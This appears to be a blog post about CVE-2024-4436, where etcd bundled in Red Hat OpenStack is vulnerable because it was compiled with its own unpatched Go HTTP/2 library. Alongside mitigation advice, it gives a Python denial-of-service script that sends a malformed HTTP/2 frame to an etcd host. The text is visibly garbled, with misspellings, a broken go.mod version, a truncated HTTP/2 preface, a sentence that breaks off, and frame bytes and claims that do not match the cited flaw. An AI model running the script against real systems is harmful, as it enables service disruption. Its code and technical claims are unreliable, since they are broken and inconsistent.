CVE-2024-4436 spotlights an overlooked vulnerability in how the etcd package is bundled with Red Hat OpenStack. This issue traces back to a fix for CVE-2022-41723 that wasn’t fully carried through—leaving systems open in ways users and admins might not expect.

In this post, I’ll break down what’s happened, why it matters, and show how attackers might exploit it. We’ll also see some code snippets and give you references to dig deeper.

The Basics: etch, Go, and Red Hat Packaging

etcd is a distributed key-value store, widely used in cloud platforms, including Red Hat OpenStack. It’s written in Go, and depends on several critical Go libraries, especially for network communication.

Red Hat usually ships their own patched versions of important libraries for security reasons. One example is golang.org/x/net/http2, a Go package handling HTTP/2 traffic, and the source of several bugs over the years.

CVE-2022-41723 concerned a security flaw in the Go HTTP/2 implementation. Red Hat backported a fix for RHEL’s Go packages. But, the vulnerability reemerged in OpenStack's etcd because it was compiled with its own included version from upstream, not Red Hat's patched version.

Why CVE-2024-4436 Happens: An Incomplete Fix

When an application like etcd is bundled with OpenStack, it should use Red Hat's prebuilt, patched packages whenever possible—not its own. In this case, etcd included and compiled its own copy of golang.org/x/net/http2, ignoring Red Hat's backport.

The fix for CVE-2022-41723 only worked for Red Hat's version. So, etcd compiled with the upstream version remained vulnerable.

Suppose you have a typical go.mod file in etcd

module github.com/etcd-io/etcd

go 1.18

require (
    golang.org/x/net v.7. // vulnerable!
)

If built like this, it will include golang.org/x/net as is, not from the more-secure Red Hat package.

Red Hat Recommendation (from advisory)

> To ensure all security fixes are present, always build Go applications against RHEL’s Go libraries, not vendored upstream versions.

How Attackers Can Exploit It

This is a real threat: the specific details of CVE-2022-41723 allowed crafted HTTP/2 requests to cause denial-of-service (DoS) or possibly hijack connections. Since etcd listens on the network, a remote attacker could:

Simple Exploit Scenario

Below is a Python snippet an attacker might use to send a malformed HTTP/2 request to attempt DoS (note: this is for educational purposes only):

import socket

HOST = 'etcd.target.host'
PORT = 2379  # default etcd port

malformed_frame = b'\x00\x00\x08\x01\x00\x00\x00\x00\x00' + b'\x00' * 8  # Malformed HTTP/2 frame

with socket.create_connection((HOST, PORT)) as s:
    s.sendall(b'PRI * HTTP/2.\r\n\r\nSM\r\n\r\n')  # HTTP/2 preface
    s.sendall(malformed_frame)
    print("Sent malformed request. If vulnerable, etcd may crash.")

Note: Testing against production environments is illegal and unethical without authorization.

- Inspect your etcd binaries

- If built in Red Hat OpenStack but not linked against RHEL’s system Go, you're probably at risk.
- Running strings etcd | grep 'golang.org/x/net' may show what’s embedded.

Rebuild etcd using RHEL’s Go toolchain and libraries

- Remove or ignore sold vendoring of golang.org/x/net.

Patch your platform

- Check Red Hat Security Advisories often.

Restrict access to your etcd nodes

- Place them behind firewalls, only allowing trusted nodes/hosts to connect.

References & More Reading

- CVE-2024-4436 Red Hat Security Advisory
- CVE-2022-41723 Core Go vulnerability
- Red Hat: How to build Go applications securely
- Go official modules documentation
- etcd project on GitHub

Final Thoughts

CVE-2024-4436 highlights how incomplete fixes can regenerate vulnerabilities. When building or deploying complex platforms like OpenStack, making sure you’re linking to the correct, patched libraries is crucial. Double-check your build processes—don’t trust vendored upstream packages when your OS vendor provides a patched version.

Stay safe, and always keep your build chain as secure as your deployment.

*This analysis and exploit details are exclusive for educational understanding and awareness. Never attempt unauthorized testing on third-party or production systems.*

Timeline

Published on: 05/08/2024 09:15:09 UTC
Last modified on: 07/25/2024 05:09:40 UTC